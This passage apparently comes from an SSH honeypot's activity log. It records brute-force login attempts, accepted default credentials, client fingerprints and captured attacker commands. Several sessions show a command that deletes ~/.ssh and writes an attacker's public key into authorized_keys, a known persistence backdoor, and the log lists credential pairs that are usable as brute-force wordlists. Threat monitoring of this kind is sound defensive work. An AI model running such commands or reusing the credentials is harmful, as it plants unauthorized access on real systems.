      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

102.88.137.80

2026-10-18 13:56:16.607084 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 3d3e9fd447bb

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "3d3e9fd447bb",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T13:56:16.607084Z",
  "end_time": "2026-10-18T13:56:18.300857Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-10-18 13:56:13.628942 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 4dd75ef69485

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "4dd75ef69485",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T13:56:13.628942Z",
  "end_time": "2026-10-18T13:56:16.336403Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-10-18 13:56:10.121791 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / discover

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 3c65f38aa17c

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.2s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "3c65f38aa17c",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T13:56:10.121791Z",
  "end_time": "2026-10-18T13:56:18.304060Z",
  "duration": "8.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "discover"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

102.88.137.80

2026-10-18 13:54:52.436347 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rui

Record ID: 25fc31e4a1d5

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "25fc31e4a1d5",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T13:54:52.436347Z",
  "end_time": "2026-10-18T13:54:55.144102Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "rui",
      "pass": "rui123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-10-18 13:49:48.336442 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: help

Record ID: 08c867138465

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "08c867138465",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T13:49:48.336442Z",
  "end_time": "2026-10-18T13:49:51.016052Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "help",
      "pass": "help2026"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

185.191.236.38

2026-10-18 13:41:21.635356 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e5e5c6842f87

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "e5e5c6842f87",
  "src_ip": "185.191.236.38",
  "start_time": "2026-10-18T13:41:21.635356Z",
  "end_time": "2026-10-18T13:41:21.828810Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.112

2026-10-18 13:37:55.166655 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: mirna

Record ID: 109a223499e7

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.5s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "109a223499e7",
  "src_ip": "2.57.121.112",
  "start_time": "2026-10-18T13:37:55.166655Z",
  "end_time": "2026-10-18T13:38:01.683472Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "mirna",
      "pass": "mirna"
    },
    {
      "user": "mirna",
      "pass": "mirna1"
    },
    {
      "user": "mirna",
      "pass": "mirna123"
    },
    {
      "user": "mirna",
      "pass": "mirna1234"
    },
    {
      "user": "mirna",
      "pass": "mirna12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

103.203.57.11

2026-10-18 13:23:11.488009 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 161a849d7ce5

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "161a849d7ce5",
  "src_ip": "103.203.57.11",
  "start_time": "2026-10-18T13:23:11.488009Z",
  "end_time": "2026-10-18T13:23:11.554465Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.25

2026-10-18 13:20:56.360218 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 100880

Record ID: 91445157e867

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "91445157e867",
  "src_ip": "2.57.121.25",
  "start_time": "2026-10-18T13:20:56.360218Z",
  "end_time": "2026-10-18T13:21:02.373352Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "100880"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

62.60.130.253

2026-10-18 13:07:44.084217 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: aa213e20591a

Client Version: SSH-2.0-PUTTY

Engagement Duration: 0.9s

HASSH Fingerprint: 5bd26477da5440a6187bd3f1b39a429c

{
  "id": "aa213e20591a",
  "src_ip": "62.60.130.253",
  "start_time": "2026-10-18T13:07:44.084217Z",
  "end_time": "2026-10-18T13:07:44.964346Z",
  "duration": "0.9",
  "version": "SSH-2.0-PUTTY",
  "hassh": "5bd26477da5440a6187bd3f1b39a429c",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

193.46.255.86

2026-10-18 13:04:39.047167 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (3 distinct queries). Vector identities: daniel

Record ID: 730bfe42d8ef

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 4.2s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "730bfe42d8ef",
  "src_ip": "193.46.255.86",
  "start_time": "2026-10-18T13:04:39.047167Z",
  "end_time": "2026-10-18T13:04:43.227171Z",
  "duration": "4.2",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "daniel",
      "pass": "daniel"
    },
    {
      "user": "daniel",
      "pass": "1234"
    },
    {
      "user": "daniel",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

139.19.117.130

2026-10-18 12:39:06.206509 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (2 distinct queries). Vector identities: root

Record ID: 251b98054911

Client Version: SSH-2.0-Go

Engagement Duration: 10.0s

HASSH Fingerprint: f1e5e9d24e5e345e8745613bde22d532

{
  "id": "251b98054911",
  "src_ip": "139.19.117.130",
  "start_time": "2026-10-18T12:39:06.206509Z",
  "end_time": "2026-10-18T12:39:16.205404Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "f1e5e9d24e5e345e8745613bde22d532",
  "attempts": [
    {
      "user": "root",
      "pass": null
    },
    {
      "user": "root",
      "pass": null
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

66.132.195.120

2026-10-18 12:34:38.991657 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2c2f591fcc10

Client Version: SSH-2.0-Go

Engagement Duration: 0.6s

HASSH Fingerprint: 52c99fce46b6758a467102ce5bd1c565

{
  "id": "2c2f591fcc10",
  "src_ip": "66.132.195.120",
  "start_time": "2026-10-18T12:34:38.991657Z",
  "end_time": "2026-10-18T12:34:39.607639Z",
  "duration": "0.6",
  "version": "SSH-2.0-Go",
  "hassh": "52c99fce46b6758a467102ce5bd1c565",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

70.34.202.108

2026-10-18 12:33:19.473715 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / xK9!mQz7-nope-80586

Record ID: 588abe01ed82

Client Version: SSH-2.0-AsyncSSH_2.24.1

Engagement Duration: 1.2s

HASSH Fingerprint: c70169683f416ecb6afc5aed972ec23c

{
  "id": "588abe01ed82",
  "src_ip": "70.34.202.108",
  "start_time": "2026-10-18T12:33:19.473715Z",
  "end_time": "2026-10-18T12:33:20.686924Z",
  "duration": "1.2",
  "version": "SSH-2.0-AsyncSSH_2.24.1",
  "hassh": "c70169683f416ecb6afc5aed972ec23c",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "xK9!mQz7-nope-80586"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

70.34.202.108

2026-10-18 12:33:17.290784 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / P@ssw0rd

Record ID: 58ff1de4eef1

Client Version: SSH-2.0-AsyncSSH_2.24.1

Engagement Duration: 3.4s

HASSH Fingerprint: c70169683f416ecb6afc5aed972ec23c

{
  "id": "58ff1de4eef1",
  "src_ip": "70.34.202.108",
  "start_time": "2026-10-18T12:33:17.290784Z",
  "end_time": "2026-10-18T12:33:20.690239Z",
  "duration": "3.4",
  "version": "SSH-2.0-AsyncSSH_2.24.1",
  "hassh": "c70169683f416ecb6afc5aed972ec23c",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "P@ssw0rd"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

70.34.202.108

2026-10-18 12:33:14.927746 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3627114b8920

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "3627114b8920",
  "src_ip": "70.34.202.108",
  "start_time": "2026-10-18T12:33:14.927746Z",
  "end_time": "2026-10-18T12:33:15.090807Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-10-18 12:29:46.365543 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 9749bd763006

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "9749bd763006",
  "src_ip": "176.53.159.196",
  "start_time": "2026-10-18T12:29:46.365543Z",
  "end_time": "2026-10-18T12:29:47.584054Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

50.77.35.74

2026-10-18 12:26:03.498338 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7fd788307773

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "7fd788307773",
  "src_ip": "50.77.35.74",
  "start_time": "2026-10-18T12:26:03.498338Z",
  "end_time": "2026-10-18T12:26:03.501574Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

50.77.35.74

2026-10-18 12:25:00.720253 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d88c79caef4d

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "d88c79caef4d",
  "src_ip": "50.77.35.74",
  "start_time": "2026-10-18T12:25:00.720253Z",
  "end_time": "2026-10-18T12:25:00.723659Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

9.234.42.5

2026-10-18 12:23:19.587076 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fdd6304dd4d7

Client Version: MGLNDD_184.98.6.225_22

Engagement Duration: 0.0s

{
  "id": "fdd6304dd4d7",
  "src_ip": "9.234.42.5",
  "start_time": "2026-10-18T12:23:19.587076Z",
  "end_time": "2026-10-18T12:23:19.617169Z",
  "duration": "0.0",
  "version": "MGLNDD_184.98.6.225_22",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

9.234.42.5

2026-10-18 12:23:19.212502 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6ca624a3dd1f

Client Version: SSH-2.0-Go

Engagement Duration: 0.3s

HASSH Fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd

{
  "id": "6ca624a3dd1f",
  "src_ip": "9.234.42.5",
  "start_time": "2026-10-18T12:23:19.212502Z",
  "end_time": "2026-10-18T12:23:19.510582Z",
  "duration": "0.3",
  "version": "SSH-2.0-Go",
  "hassh": "e54ef3ec27fe1fea7ab64d3fa05359fd",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.25

2026-10-18 12:22:48.468348 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 101188

Record ID: 35f74e4e12cb

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "35f74e4e12cb",
  "src_ip": "2.57.121.25",
  "start_time": "2026-10-18T12:22:48.468348Z",
  "end_time": "2026-10-18T12:22:54.473748Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "101188"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

78.40.108.84

2026-10-18 12:22:11.455447 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: c725c8765c5a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c725c8765c5a",
  "src_ip": "78.40.108.84",
  "start_time": "2026-10-18T12:22:11.455447Z",
  "end_time": "2026-10-18T12:22:12.879507Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

78.40.108.84

2026-10-18 12:22:05.620314 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: f35e6553da00

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f35e6553da00",
  "src_ip": "78.40.108.84",
  "start_time": "2026-10-18T12:22:05.620314Z",
  "end_time": "2026-10-18T12:22:10.200067Z",
  "duration": "4.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

78.40.108.84

2026-10-18 12:22:02.134170 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / loler123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: db2b91bb82dc

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 10.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "db2b91bb82dc",
  "src_ip": "78.40.108.84",
  "start_time": "2026-10-18T12:22:02.134170Z",
  "end_time": "2026-10-18T12:22:12.876309Z",
  "duration": "10.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "loler123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

154.18.197.35

2026-10-18 12:21:13.501383 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: oracle / 3245gs5662d34

Record ID: 094634b3c5c2

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "094634b3c5c2",
  "src_ip": "154.18.197.35",
  "start_time": "2026-10-18T12:21:13.501383Z",
  "end_time": "2026-10-18T12:21:14.800008Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}